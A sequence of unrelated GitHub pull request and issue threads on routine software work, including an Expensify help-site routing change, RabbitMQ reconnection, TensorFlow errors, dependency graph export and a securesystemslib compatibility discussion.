[NO QA]Update _routes.yml

Adding new hub for NewExpensify for billing and subscriptions

Details

Fixed Issues
$ https://github.com/Expensify/Expensify/issues/420340
Tests

[x] Verify that no errors appear in the JS console

Offline tests

QA Steps

[x] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native

Android: mWeb Chrome

iOS: Native

iOS: mWeb Safari

MacOS: Chrome / Safari

MacOS: Desktop

This seems somewhat related to HelpDot. Tagging you, @rushatgabhane —if it's not relevant, please feel free to ignore the ping! 😃

@jayeshmangwani @danieldoglas waiting on this HUB to be added to the help site so I can add the payment help pages to the New Dot section.  I have this next step in a draft.  Is there anything I can do or clarify to get this completed?

@slafortune Daniel is OOO until August 29th. I think we'll need to wait until then.

Reviewer Checklist

[ ] I have verified the author checklist is complete (all boxes are checked off).
[ ] I verified the correct issue is linked in the ### Fixed Issues section above
[ ] I verified testing steps are clear and they cover the changes made in this PR

[ ] I verified the steps for local testing are in the Tests section
[ ] I verified the steps for Staging and/or Production testing are in the QA steps section
[ ] I verified the steps cover any possible failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[ ] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[ ] I checked that screenshots or videos are included for tests on all platforms
[ ] I included screenshots or videos for tests on all platforms
[ ] I verified tests pass on all platforms & I tested again on:

[ ] Android: Native
[ ] Android: mWeb Chrome
[ ] iOS: Native
[ ] iOS: mWeb Safari
[ ] MacOS: Chrome / Safari
[ ] MacOS: Desktop

[ ] If there are any errors in the console that are unrelated to this PR, I either fixed them (preferred) or linked to where I reported them in Slack
[ ] I verified proper code patterns were followed (see Reviewing the code)

[ ] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick).
[ ] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[ ] I verified that comments were added to code that is not self explanatory
[ ] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[ ] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method
[ ] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[ ] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[ ] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[ ] I verified the JSDocs style guidelines (in STYLE.md) were followed

[ ] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[ ] I verified that this PR follows the guidelines as stated in the Review Guidelines
[ ] I verified other components that can be impacted by these changes have been tested, and I retested again (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar have been tested & I retested again)
[ ] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[ ] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[ ] If a new component is created I verified that:

[ ] A similar component doesn't exist in the codebase
[ ] All props are defined accurately and each prop has a /** comment above it */
[ ] The file is named correctly
[ ] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[ ] The only data being stored in the state is data necessary for rendering and nothing else
[ ] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[ ] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[ ] All JSX used for rendering exists in the render method
[ ] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[ ] If any new file was added I verified that:

[ ] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[ ] If a new CSS style is added I verified that:

[ ] A similar style doesn't already exist
[ ] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG)

[ ] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[ ] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[ ] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[ ] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[ ] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[ ] I verified that all the inputs inside a form are aligned with each other.
[ ] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[ ] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[ ] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[ ] I have checked off every checkbox in the PR reviewer checklist, including those that don't apply to this PR.

Screenshots/Videos

Android: Native

Android: mWeb Chrome

iOS: Native

iOS: mWeb Safari

MacOS: Chrome / Safari

MacOS: Desktop

@slafortune this is failing with the following messages:
Number of hubs in _routes.yml does not match number of hubs in docs/new-expensify/articles. Please update _routes.yml with hub info.

@slafortune Please check this comment whenever you can

Merged main here because one of the checks was potentially failing due to a different PR. See slack thread. Fixed that and merged main here so that we know if the checks are failing because of the changes in this PR and not other, unrelated PRs.

Looks like checks still failing so I think we need https://github.com/Expensify/App/pull/47431#pullrequestreview-2304234027 still - that's the way I was able to get this to compile/work on local

because these changes aren't done - https://github.com/Expensify/App/pull/47431#pullrequestreview-2304234027

A preview of your ExpensifyHelp changes have been deployed to https://6b41ec61.helpdot.pages.dev ⚡

🚀 Deployed to staging by https://github.com/dangrous in version: 9.0.40-0 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


为游戏添加玩家Add a Player to the game

This step adds the character to the game (in this case, Dash). The player controls the character and all of the logic lives in the Player class (in the player.dart file). The Player class extends Flame's SpriteGroupComponent class, which contains abstract methods you override to implement custom logic. This includes loading assets and sprites, positioning the player (horizontally and vertically), configuring collision detection, and accepting user input.

专业提示：在游戏开发过程中，在onKeyEvent方法中取消评论跳跃（）的调用使测试更容易。在上面的代码中，它被称为“作弊”，允许您按住向上箭头键，迫使Dash不断向上飞行，而无需跳上平台。


Add grpc health check service

Fixes: #615
Signed-off-by: Qiang Huang<EMAIL_ADDRESS>

LGTM

@mlaventure Updated.

@hqhq uh, actually can you change the commit message to something more useful? Like "containerd: add healtcheck grpc service" or similar?

@ijc25 correct. This is to grpc service to check that containerd is still responding/running.

LGTM


NotifyClose usage is a bit unclear

I've been doing some testing with a consumer by kill -9 my rabbitmq server. During this process the consumers channel/connection dies (duh!); the problem is that when I start up rabbitmq the channel and connection are not smart enough to detect and recover from the error. I thought that NotifyClose was the solution but it doesn't seem to be?
Also, probably a feature request, but if I could check the connection/channel with Closed() bool it'd be easier to pool connections and recover from the issue mentioned above.

the problem is that when I start up rabbitmq the channel and connection are not smart enough to detect and recover from the error.

They are dead objects after disconnect, you should run connect/obtain channel/declare one more time. This library doesn't do reconnection/recovery at all (and should not).
NotifyClose() will tell you 1 time that connection/channel is closed, everything else you should do my hands.

check the connection/channel with Closed() bool

There is not point in this, you should utilise (*Connection).NotifyClose() to know what's the state of connection.

pool connections

No, you don't want this :) Always use only 1 connection and many channels inside.

@kron4eg yea I figured that out the hard way ;) thanks though!

@nopejpg btw, I've wrote little high-level wrapper around this lib, to avoid doing reconnect logic every time: https://github.com/assembla/cony


Update how parameters, inital people in each compartment and contact …

…patterns are defined. Open questions are marked with TODO.
Closes #78
Merge Request - GuideLine Checklist
Guideline to check code before resolve WIP and approval, respectively.
As many checkboxes as possible should be ticked.
Checks by code author:

[x] There is at least one issue associated with the pull request.
[x] The branch follows the naming conventions as defined in the git workflow.
[ ] New code adheres with the coding guidelines
[ ] Tests for new functionality has been added
[x] A local test was successful
[ ] There is appropriate documentation of your work. (use doxygen style comments)
[ ] If new third party software is used, did you pay attention to its license? Please remember to add it to the wiki after successful merging.
[ ] If new mathematical methods or epidemiological terms are used, has the glossary been updated ? Did you provide further documentation ?
is present or referenced. Please provide your references.
[ ] The following questions are addressed in the documentation*:  Developers (what did you do?, how can it be maintained?), For users (how to use your work?), For admins (how to install and configure your work?)
For documentation: Please write or update the Readme in the current working directory!

Checks by code reviewer(s):

[ ] Is the code clean of development artifacts e.g., unnecessary comments, prints, ...
[ ] The ticket goals for each associated issue are reached or problems are clearly addressed (i.e., a new issue was introduced).
[ ] There are appropriate unit tests and they pass.
[ ] The git history is clean and linearized for the merge request.
[ ] Coverage report for new code is acceptable.

Codecov Report

Merging #79 (5134144) into main (b39e8f0) will increase coverage by 0.39%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             main      #79      +/-   ##
==========================================
+ Coverage   62.53%   62.93%   +0.39%
==========================================
  Files          91       84       -7
  Lines        5969     5839     -130
  Branches     2077     2016      -61
==========================================
- Hits         3733     3675      -58
+ Misses        544      543       -1
+ Partials     1692     1621      -71

Impacted Files
Coverage Δ

cpp/epidemiology/utils/visitor.h
57.14% <0.00%> (-24.68%)
:arrow_down:

cpp/epidemiology/secir/analyze_result.h
46.87% <0.00%> (-11.15%)
:arrow_down:

cpp/epidemiology/abm/migration_rules.cpp
53.03% <0.00%> (-7.91%)
:arrow_down:

cpp/epidemiology/abm/location.cpp
61.29% <0.00%> (-6.97%)
:arrow_down:

cpp/epidemiology/abm/person.h
93.75% <0.00%> (-6.25%)
:arrow_down:

cpp/epidemiology/abm/world.h
80.00% <0.00%> (-3.34%)
:arrow_down:

cpp/epidemiology/secir/parameter_studies.h
42.59% <0.00%> (-3.03%)
:arrow_down:

cpp/epidemiology/utils/parameter_distributions.h
61.63% <0.00%> (-2.79%)
:arrow_down:

cpp/epidemiology/migration/migration.h
58.67% <0.00%> (-2.44%)
:arrow_down:

cpp/epidemiology/utils/logging.h
52.50% <0.00%> (-2.27%)
:arrow_down:

... and 61 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b39e8f0...5134144. Read the comment docs.

Where does "…patterns are defined. Open questions are marked with TODO." come from?


chore/lint

minor fixes and improvements

Pull Request Test Coverage Report for Build 381f644f62407f7d076544cd99ccbf65152a940c-PR-1

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 74.783%

Totals

Change from base Build 5e5a7552296e5f2b4b9b8ee8644bb81a0c2624a2:
0.0%

Covered Lines:
172

Relevant Lines:
230

💛  - Coveralls


added ability to lookup projects by folders or project ids

@juliocc @drebes this will disrupt our standard VPC SC design, by making the stage more flexible. While I see the benefits, we will need to change all the supporting materials before a release is cut, including workflow slides.

Won't the diagram and architecture also need to change, as the variables do not enforce a standard design anymore?

I can't pinpoint a specific issue with this PR but I don't like the implementation. I do like the idea behind it but the code just looks messy to me.
I particularly dislike the new vpc-sc-resources.tf but it could be that I can't follow what's  going on.

Agree, can we move the code to its own module, which can be used to resolve ids to names?

vpc-sc-resources.tf is doing three things:

it puts all references to project by ids, folders to fetch projects inside recursive and non-recursive to the respective set, to deduplicate API lookups
creates lookup tables: project id => project number, folder id => projects number (recursive and not)
running lookups to form project lists for different inputs of VPC SC

Agree, can we move the code to its own module, which can be used to resolve ids to names?

I can, but let's get @juliocc onboard with this.

I can, but let's get @juliocc onboard with this.

we're usually very much aligned...

I think the code looks fine, for what's it worth. "I don't like it" doesn't sound good.

I think the code looks fine, for what's it worth. "I don't like it" doesn't sound good.

it does instead, if the good code makes the whole stage harder to understand or modiify; anyway, I think Julio and I are aligned, let me close this and feel free to reopen as a standalone module, which I would very much like to have in Fabric...


Making bullet points more explicit

When reading this I always thought that you ask me to install ASP.NET Core of version 2.2.0-beta2. but this was all about and is about App Insights nuget package.

@Gutek : Thanks for your contribution! The author, @lmolkova, has been notified to review your proposed change.


Add support for a graphviz/dot export of the dependencies

The idea is to be able to see the graph of dependencies.
Dot's clustering allows to group dependencies with some configurable critieria:

same programming language
different versions of the same library (once supported)

Additionally, not only this allows me to get a good big picture representation of the information, but also allows me to import the information in a graph database such as Neo4j and perform complex queries and transformations for further research (should this be a separate exporter?).

allows me to import the information in a graph database such as Neo4j

Would you have a reference for that, like how to import graphviz/dot into Neo4j?

Note to myself: https://github.com/RCHowell/Dotlin could be a library to use.

Would you have a reference for that, like how to import graphviz/dot into Neo4j?

I only have ad-hoc scripts, based on https://neonx.readthedocs.io/en/latest/usage.html
I don't know if there is any more official way.

Note to myself: https://github.com/RCHowell/Dotlin could be a library to use.

Alternatively, use https://github.com/nidi3/graphviz-java/tree/master/graphviz-kotlin directly. Though graphviz-java seems to be terrible outdated by now...

@dgutson out of curiosity, are you really tied to GraphViz, or would something like Mermaid also be an option?

@dgutson out of curiosity, are you really tied to GraphViz, or would something like Mermaid also be an option?

Not tied to GraphViz, Mermaid would be OK too.

So what's the more abstract use-case? Just some graphical representation of the dependency graph? So also e.g. an SVG or even a rendered JPEG would suffice?

Not tied to GraphViz, Mermaid would be OK too.

Sorry, I missed that above you mentioned the import to Neo4j. Is that still the use-case? And is Neo4j able to import Mermaid, too?

I thinknthere are two different use cases: the need for visualization (where an SVG is optimal because of vectorized zoom), and the need to do graph queries. It happens that neo4j has a very good render and visualizer too.


Model Zoo check points are not available

Greetings,
It seems that all the the check points (pre-trained models) in the Model Zoo of this page:
https://github.com/OpenGVLab/InternVideo/tree/main/Downstream/Open-Set-Action-Recognition
are not available anymore, please provide a feedback regarding if they will be available again or not.
Thanks.

I found a retrained model available:
https://github.com/OpenGVLab/InternVideo/tree/main#model-zoo
But when I try to load it with PyTorch it returns dict object, so would you give an example how to used a pre-trained model.
model = torch.load('vit_b_hybrid_pt_800e_k710_ft.pth')

The ckpts of InternVideo-B/-L/-H are updated. Refer to https://github.com/OpenGVLab/InternVideo/tree/main/Downstream/Open-Set-Action-Recognition#model-zoo

Thank you so much for your quick response.
But would you kindly provide a practical example of how to load the ckpt into an PyTorch model and retrain only the last layer.
Thanks in advance.


Pin the version of ferrarimarco/github-changelog-generator to prevent the CI from hanging

See https://github.com/github-changelog-generator/github-changelog-generator/issues/663.

Yeah, indeed it was just the latest tag the problem.
Nevermind, it should be fixed now.

Hi all.
The latest tag marks the latest Gem release in our case.
Sorry you discovered the fact (via the hard way :) that in production you should avoid the latest tag and pin a specific version. 👍

@ferrarimarco actually that's a matter of balancing you time and your trust in someone else release and upgrade process. For security reasons you should always opt for latest version of the software. However this can cause some stability issues, which could be solved by spending some of your time. Classic chicken and an egg problem :smile:
On the other hand there are projects like linux kernel where breaking backwards compatibility is punished (fortunately not by death, but only by angry email from Linus :smile:) and you can update your system without much testing before.
As for me I have a lot of trust in software I use for personal projects (hence latest tag), until I am proven otherwise.


Check finalized blocks in case the are missing

Motivation
Blocks routine follows the chain at the head. It is possible that a block is published, but the reorg invalidates the given blocks (orphaned). Therefore, the head routine will also check x number of blocks behind, in case there is a missing that was not spotted because of being orphaned now.
TODOs

Check x number of slots behind for missing block
If missing, update the blocks table

Closing this as we are already checking the head of the chain (and re-labeling later the orphan blocks)


Toco Error 'module' object has no attribute 'CheckpointableBase'

I am following the tutorial as mentioned but getting this error when trying to convert the .pb file
Input:
toco   --input_file=tf_files/retrained_graph.pb   --output_file=tf_files/optimized_graph.lite   --input_format=TENSORFLOW_GRAPHDEF   --output_format=TFLITE   --input_shape=1,224,224,3   --input_array=input   --output_array=final_result   --inference_type=FLOAT   --input_data_type=FLOAT
output:
Traceback (most recent call last):
File "/home/dhairy/.local/bin/toco", line 7, in
from tensorflow.contrib.lite.toco.python.toco_wrapper import main
File "/home/dhairy/.local/lib/python2.7/site-packages/tensorflow/init.py", line 24, in
from tensorflow.python import *  # pylint: disable=redefined-builtin
File "/home/dhairy/.local/lib/python2.7/site-packages/tensorflow/python/init.py", line 63, in
from tensorflow.python.framework.framework_lib import *  # pylint: disable=redefined-builtin
File "/home/dhairy/.local/lib/python2.7/site-packages/tensorflow/python/framework/framework_lib.py", line 102, in
from tensorflow.python.framework.importer import import_graph_def
File "/home/dhairy/.local/lib/python2.7/site-packages/tensorflow/python/framework/importer.py", line 32, in
from tensorflow.python.framework import function
File "/home/dhairy/.local/lib/python2.7/site-packages/tensorflow/python/framework/function.py", line 37, in
from tensorflow.python.ops import resource_variable_ops
File "/home/dhairy/.local/lib/python2.7/site-packages/tensorflow/python/ops/resource_variable_ops.py", line 35, in
from tensorflow.python.ops import variables
File "/home/dhairy/.local/lib/python2.7/site-packages/tensorflow/python/ops/variables.py", line 40, in
class Variable(checkpointable.CheckpointableBase):
AttributeError: 'module' object has no attribute 'CheckpointableBase'
Anyone with the solution?

Finally solved it. I guess it was because toco was not configured properly. If you too face this issue try removing tensorflow completely and then again install it to the latest version available then.


:<3: and :</3: do not work

:<3: and :</3: do not work
:<3: and :</3:

:<3: and :</3: both work if you remove the : delimiters.  Are these meant to be supported within a : pair and by themselves (<3, </3)?  Other emoticons like :) or :-o also don't work if you place them within : tags (::): and ::-o: ) but can be emotified when you place them on their own.

Actually, yes, emoticons (like :) for example) shouldn't be surrounded by ::.


Securing your CDN: Why and how should you use SRI

NOTE: All 1st-time contributors should know Topic approval and PR submission do NOT guarantee your Topic/Article will be published. Our team of Peer Reviewers and Content Moderators will review all PRs that come in to make sure they adhere to the standard of quality we expect from the EngEd community.
We expect all community members to go through provided examples, resources, and previously published material before submitting content. As a rule of thumb, please only submit articles (pull requests) that are complete, formatted correctly, and include a fully polished article (ready to be published and error-free).
All revisions and edits should be completed on your forked repo (as to not take up room in the queue). Any PR that is submitted incomplete (meaning not ready to be published as is) will be closed. A PR being closed does NOT mean the article can not be published (or fixed) it simply means that the edits, revisions, and fixes will happen outside of the queue.
NOTE: Any topic suggestion copied/taken/modified from YouTube may Lead to a permanent ban from the community.
Topic Suggestion
Proposed title of the article
Securing your CDN: Why and how should you use SRI
Proposed article introduction
Using an external CSS or a third-party JavaScript library on a website has never been simpler. Including script src="https://example.com/whatever.js"> in the head> part of a HTML is all that is required, right? discovered some attractive CSS? Include it on a website by using the link rel="stylesheet" href="..."> tag.In ths tutorial article we will be taking you through all the mentioned above.
Key takeaways
-Problems with relying on your CDN
-What is SRI and how can it solve this problem
-How to use SRI
-How to get SRI Hash

Limitations of using SRI

Conclusion
The best line of defense against corrupted CSS and JavaScript from outside parties is SRI. Although it's quite simple to use, you must ensure that your website can function without the aid of outside resources in case something goes wrong.
Templates to use as guides

How To Guide Template
Software Review Template
Tutorial Template

Good day,
My name is Sarah, I have reviewed this topic and I believe I can work with it can I send the full article here. Thanks for considering my proposal.


method for notifying content view to set webcontents

Ref https://github.com/atom/electron/pull/3168#issuecomment-149924983


Mcs 1371 timeout improvement

Slightly more complicated way to do a timeout, but it allows the opportunity to check and see what is going on and continue if needed.  The check is MCS-1372.

I am not sure of what the point of this fix as well.  I think we should table this until after our performance discussions with TA1.  Ideally our addressables improvements address this timeout issue.

@ThomasSchellenbergNextCentury @rartiss55 - Thoughts on this ticket? Do we close and move on, or do we think this is worth adding?

I'm fine with merging this. I trust that Clark believed it would be useful.


status.nuget.org status coloring scheme needs fix

If there is an issue impacting any of our online service, the status page should reflect the same status color (yellow/red) till the issue is fixed. We should have the latest message pinned at the top and a link to rest of the messages at the bottom.

This is a duplicate of https://github.com/NuGet/Engineering/issues/230. I will update the other issue's name to better reflect what it's describing.


Update welcome text

Kolla om text är bra.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: vofflan sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


Several incompatibilities with master branch of securesystemslib

As part of my work to remove securesystemslib.util.TempFile in secure-systems-lab/securesystemslib#180 I need to be able to test tuf against a locally installed copy of securesystemslib.
It turns out that there are several incompatibilities between tuf and the master branch of securesystemslib (perhaps unsurprisingly, there are 214 commits to ssl since the 0.11.3 release). I've started working through the errors, but wanted to file this so that there's a record of the work and to have a discussion area.
There are at least two existing PRs which address some of the issues:

Adjust to removals from securesystemslib #855
Use TUF specific RELPATH[S]_SCHEMA formats as they have been removed from securesystemslib #912

These don't break compatibility with the testing against ssl 0.11.3 that's currently happening in CI, however I'm anticipating that some of the changes that will need to be made will either a) be incompatible or b) require different codepaths for different ssl versions.
I'd welcome thoughts on whether backward compatibility is a goal or whether we just need to request a release of ssl and require that version once the changes are ready?
It would be good to add some CI testing against ssl master as part of resolving this issue, but I haven't figure out how to handle that yet. My local testing is using a venv and pip installing my copy of securesystemslib and tuf, before running the tests against the venv with:
$ coverage run aggregate_tests.py

Thanks for pointing this out, @joshuagl. Here are my 2 cents:
The main branch, i.e. develop must always have passing tests.
tuf's tests don't need to be backwards compatible when adopting breaking changes from securesystemslib, such as https://github.com/theupdateframework/tuf/commit/4e6942f8465122b1cd5dc72c931cad48629ef3ac.
I suggest to prepare these PRs  but hold off on merging until securesystemslib bumps the release. For in-toto I submitted a PR, similar to your patch above, as "draft" and added a little disclaimer (see https://github.com/in-toto/in-toto/pull/299).
If this strategy becomes to cumbersome, e.g. we end up having many PRs that adopt breaking changes from securesystemslib and maybe depend on each other, we could add an alternative main branch, e.g. develop-for-sslib, into which we merge PRs, whose tests only need to  pass with securesystemslib@master (see #915).
What do you think? And what do others think? @SantiagoTorres, @mnm678?

I like this. Fully agreed that all tests must pass on the active development branch, I'll create some draft PRs.

Just to round up the pending PRs which address this issue:

~#855 (merged)~
* #912 (pending review)
#917 (requires an SSL release)

Fixed for and with https://github.com/theupdateframework/tuf/releases/tag/v0.12.0. Thanks for your contributions, @joshuagl!


Importing models directly into Python Variables from model files stored in S3 bucket

Hello,
I have been thinking from quite some time that if it would have been possible to import the ML models directly into python variables when the model file is actually not at the local disk where the code is running but rather is stored in an S3 bucket.
As we can load a model file/folder present in the local disk using the tensorflow functions like tf.keras.models.load_model("<model_file_name>"), is there any possible way to import the model from the model files stored in the S3 bucket?
Because there can be scenarios where we are running some code to import model inside a container and that container has a limited storage bandwidth but we know the model sizes can be extremely large and thus it would become difficult for it to be stored inside a container or a persistent storage.
For, eg. I am able to use the below specified code to import a dataset (CSV File) directly into memory (basically into a python variable) using the Pandas and the Boto3 library:
filename = "dataset/items_dataset.csv"
s3 = boto3.client('s3',
                  aws_access_key_id = '<AWS_ACCESS_KEY_ID>',
                  aws_secret_access_key = '<AWS_SECRET_ACCESS_KEY>')

obj = s3.get_object(Bucket='<AWS_BUCKET_NAME>', Key=filename)
df = pd.read_csv(io.BytesIO(obj['Body'].read()))
df.head()

where dataset/items_dataset.csv is the path of the dataset file in the S3 bucket.

Thus, I wanted to know whether is it possible to have a similar way of importing the model file stored in the S3 bucket without having the need of downloading it to the local disk before loading it to memory through tensorflow functions.
Also, if there is any way of achieving this, then is there any way to do the vice-versa as well, i.e. to store the model directly into the S3 bucket?

@altruistcoder ,
We see that the issue template has not been filled, could you please do so as it helps us analyse the issue [tf version, steps followed before you ran into this error or stand alone code to reproduce the issue faced] or if possible share a colab gist with the issue reported.

@tilakrayal I am sorry if it was not clear from the Title but this is not any issue specifically or it maybe I am not sure. I have general query which might be valid for all the versions of Tensorflow and there are no specific steps to reach this.
I just want to know whether is it possible to directly load a model (using any Tensorflow function) from the model file which is stored in a S3 bucket.
If yes, can you please instruct me to navigate somewhere where I can get more information regarding how to achieve this. It would be really very helpful for me.

@altruistcoder ,
This question is better asked on TensorFlow Forum. Kindly open a tensorflow discussion forum issue for this as it is not a bug or feature request, Please post this kind of support questions at Stackoverflow. There is a big community to support and learn from your questions.

Hello @tilakrayal, I have tried asking this on the Tensorflow's forum as well but I haven't got any reply there as well. You can find the topic I created here:
https://discuss.tensorflow.org/t/importing-models-directly-into-python-variables-from-model-files-stored-in-s3-bucket/6538

@altruistcoder ,
As it is not a bug or feature request from tensorflow side, we suggest to follow the raise tensorflow forum discussion.Thanks!


Does laptop require a clean install of os x Lion?

Im having a ton of errors on my install.  Multiple .zshrc "command not found" errors.  Multiple "failed to build gem native extension" errors, multiple RVM "error running ..." errors, "cant find header files for ruby at..." errors, RVM "there has been an error while running configure.  Halting the installation"...
Wondering if you have experienced these and can steer me toward fixing them.  Thanks for the script... I can post detailed error messages if needed...

This should now be fixed in Hombrew:
https://github.com/mxcl/homebrew/commit/8e88b22fd1ec65a344ce6e4facd6dad4b415b2ad


soc: npcx: add support for npcx9m7f

Add new SoC npcx9m7f support for npcx9 series.
Signed-off-by: Jun Lin<EMAIL_ADDRESS>

Hi release manager,
Could this PR get merged?


Fixing broken link

Fixing broken link

Learn Build status updates of commit f64c675:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

microsoft-365/security/office-365-security/what-s-the-difference-between-junk-email-and-bulk-email.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

Learn Build status updates of commit 2216b45:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

microsoft-365/security/office-365-security/what-s-the-difference-between-junk-email-and-bulk-email.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

@JohanFreelancer9 - Apologies, was AFK and couldn't review in time. Thank you for merging!


asserts there's no configuration conflicts

Codecov Report

Merging #84 (0744f73) into master (0f050a9) will decrease coverage by 0.05%.
The diff coverage is 28.57%.

@@            Coverage Diff             @@
##           master      #84      +/-   ##
==========================================
- Coverage   83.52%   83.47%   -0.06%
==========================================
  Files          11       11
  Lines         977      974       -3
==========================================
- Hits          816      813       -3
  Misses        161      161

Impacted Files
